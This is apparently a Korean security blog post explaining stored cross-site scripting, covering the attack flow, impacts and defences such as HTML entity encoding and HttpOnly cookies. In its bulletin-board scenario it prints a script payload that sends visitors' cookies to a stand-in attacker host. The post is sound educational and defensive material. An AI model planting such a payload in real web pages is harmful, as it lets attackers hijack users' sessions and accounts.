본문 바로가기
해킹&보안/웹

Stored XSS란?

1. 주제 

주제: 저장형 크로스 사이트 스크립팅(Stored Cross-Site Scripting) 취약점 심층 분석

 

핵심 요약: Stored XSS는 공격자가 악의적인 스크립트를 웹 서버의 데이터베이스에 영구적으로 저장시켜, 해당 페이지를 방문하는 모든 사용자의 브라우저에서 스크립트가 실행되게 만드는 매우 파급력 높은 웹 해킹 공격입니다.

웹사이트의 게시판, 댓글, 사용자 프로필처럼 사용자의 입력이 서버에 저장되었다가 다른 사용자에게 보여지는 모든 곳이 Stored XSS의 공격 대상이 될 수 있습니다. 한번의 공격으로 불특정 다수의 사용자를 감염시킬 수 있기 때문에 XSS 공격 유형 중 가장 위험한 형태로 분류됩니다. 이 글에서는 Stored XSS의 핵심 원리부터 공격 시나리오, 그리고 이를 막기 위한 근본적인 방어 전략까지 상세하게 다룹니다.


2. 정의 및 핵심 원리

2.1. 상세 정의

Stored XSS는 공격자가 주입한 악성 스크립트(Payload)가 웹 애플리케이션의 데이터베이스나 파일 시스템 등 서버 내에 영구적으로 저장되고, 이후 해당 데이터가 포함된 페이지를 요청하는 모든 사용자의 브라우저에서 해당 스크립트가 실행되는 공격입니다. '지속적(Persistent) XSS'라고도 불립니다.

2.2. 핵심 원리 

Stored XSS의 가장 근본적인 원리는 서버가 사용자의 입력을 아무런 검증이나 필터링 없이 그대로 저장하고, 다른 사용자에게 그 내용을 그대로 출력하기 때문에 발생합니다. 서버는 악성 스크립트를 단순한 텍스트 데이터로 인식하여 저장하지만, 피해자의 웹 브라우저는 이 데이터를 신뢰할 수 있는 HTML 코드로 해석하고 실행하게 됩니다.

 

공격 흐름

  1. [주입] 공격자는 게시판 글쓰기, 댓글 등 입력 폼에 악성 스크립트(<script>alert~~)를 포함한 게시물을 작성하여 서버에 전송합니다.
  2. [저장] 서버는 입력된 값을 위험한 스크립트인지 인지하지 못하고 데이터베이스에 그대로 저장합니다
  3. [열람] 다른 일반 사용자가 악성 스크립트가 저장된 게시물을 보기 위해 페이지를 요청합니다
  4. [실행] 서버는 데이터베이스에서 악성 스크립트가 포함된 데이터를 꺼내 사용자에게 전송하고, 사용자의 웹 브라우저는 해당 스크립트를 그대로 실행하여 공격이 발생합니다.

 


3. 주요 공격 시나리오 (게시판 예시)

가장 흔한 공격 경로인 웹사이트 게시판을 통해 Stored XSS 공격이 어떻게 이루어지는지 살펴보겠습니다

  1. 공격자는 취약한 웹사이트의 게시판에 악의적인 스크립트가 포함된 글을 작성합니다.
    제목: 필독! 이벤트 당첨 안내
    
    내용: 자세한 내용은 아래를 확인하세요.<script>document.location='http://hacker-site.com/
    cookie_collector.php?cookie='+document.cookie;</script>
    • 위 스크립트는 현재 페이지를 보고 있는 사용자의 쿠키 정보를 탈취하여 공격자의 서버(hacker-site.com)로 전송하는 코드입니다.
  2. 웹 서버는 해당 게시글의 내용을 아무런 의심 없이 데이터베이스에 저장합니다.
  3. 잠시 후, 일반 사용자 A가 해당 게시판에 접속하여 "필독! 이벤트 당첨 안내"라는 제목의 글을 클릭합니다.
  4. 웹 서버는 데이터베이스에서 공격자가 작성한 게시글 내용을 읽어와 사용자 A의 브라우저로 전송합니다
  5. 사용자 A의 브라우저는 <script>...</script> 태그를 만나고, 이를 웹 페이지의 일부로 해석하여 실행합니다.
    • 결과적으로 사용자 A의 세션 쿠키 정보가 자신도 모르는 사이에 공격자에게 전송됩니다
  6. 공격자는 탈취한 쿠키 정보를 이용해 사용자 A의 계정으로 로그인하여 개인정보를 훔치거나 다른 악의적인 활동을 할 수 있습니다.

4. 유형 및 비교

XSS는 스크립트가 서버에 저장되는지 여부와 실행되는 방식에 따라 크게 3가지로 나뉩니다.

구분 Stored XSS (저장형) Reflected XSS (반사형) DOM-based XSS (DOM 기반)
스크립트
저장 위치
서버 데이터베이스 (영구적) URL 파라미터 등 (일회성) 클라이언트 측 (브라우저 DOM)
공격 대상 해당 페이지를 방문하는 불특정 다수 공격용 URL을 클릭한
특정 사용자
페이지 스크립트와 상호작용하는 사용자
파급력 매우 높음 중간 낮음~중간
주요 발생 위 게시판, 댓글, 프로필, 방명록 검색 결과 페이지, 에러 페이지 동적 UI를 가진 단일 페이지 애플리케이션

5. 파급 효과 및 방어 전략

5.1. 주요 파급 효과 

  • 세션 하이재킹 (쿠키 탈취): 공격자가 사용자의 세션 쿠키를 훔쳐 해당 사용자의 계정을 탈취합니다
  • 개인정보 유출: 사용자의 브라우저에 저장된 민감한 정보를 공격자의 서버로 전송합니다.
  • 악성코드 유포 (드라이브 바이 다운로드): 사용자를 악성코드를 유포하는 사이트로 리디렉션시킵니다
  • 피싱: 가짜 로그인 페이지 등을 보여주어 사용자의 계정 정보를 직접 입력하도록 유도합니다
  • 웹 페이지 변조 (Defacement): 웹사이트의 내용을 공격자가 원하는 대로 변경하여 신뢰도를 떨어뜨립니다.

5.2. 핵심 방어 전략 

입력 값 처리 : 가장 중요한 방어책입니다. 서버 측에서 사용자의 모든 입력 값에 대해 HTML 태그나 스크립트로 해석될 수 있는 특수 문자(<, >, ", ', & 등)를 HTML 엔티티(Entity)로 변환하여 저장해야 합니다.

  • <script> -> &lt;script&gt;
  • 이렇게 변환된 문자는 브라우저에서 코드로 실행되지 않고 단순한 텍스트로만 화면에 보이게 됩니다.

출력 값 처리: 데이터베이스에 저장된 값을 사용자에게 보여줄 때, 다시 한번 HTML 엔티티 인코딩을 적용하여 출력합니다. 이는 입력 단계에서 필터링이 우회되었을 경우를 대비한 이중 방어책이 될 수 있습니다.

보안 라이브러리/프레임워크 사용: 검증된 보안 라이브러리를 사용하면 XSS 필터링 기능을 안전하고 쉽게 구현할 수 있습니다. 최신 웹 프레임워크(React, Vue 등)는 대부분 XSS 방어 기능을 내장하고 있습니다.

HttpOnly 쿠키 사용: 쿠키에 HttpOnly 속성을 설정하면, 자바스크립트를 통한 쿠키 접근이 차단됩니다. 이를 통해 XSS 공격으로 쿠키가 탈취되는 것을 막을 수 있어 세션 하이재킹 피해를 크게 줄일 수 있습니다.


6. 결론 

Stored XSS는 공격자가 심어놓은 시한폭탄과 같습니다. 서버에 저장된 악성 스크립트는 언제, 누가 페이지를 열람하든 즉시 터져나와 피해를 입힙니다. 따라서 개발자는 사용자의 모든 입력은 잠재적인 공격이다라는 보안의 기본 원칙을 항상 명심해야 합니다. 서버로 들어오는 모든 데이터에 대해 엄격한 검증 및 필터링을 적용하고, 데이터를 출력할 때도 인코딩을 생활화하는 것이 안전한 웹 서비스를 만드는 첫걸음입니다.

참고 자료 

OWASP Cross Site Scripting (XSS)

PortSwigger - What is cross-site scripting (XSS)

'해킹&보안 > ' 카테고리의 다른 글

[Writeup] 리다이렉션 속 숨은 단서 찾기  (0) 2025.09.20
[Writeup] 요청 조작을 통한 OTP 인증 우회  (0) 2025.09.18
SQL 인젝션  (1) 2025.06.18
[Writeup] Local Authority  (1) 2025.04.29
[Writeup] WebDecode  (1) 2025.04.29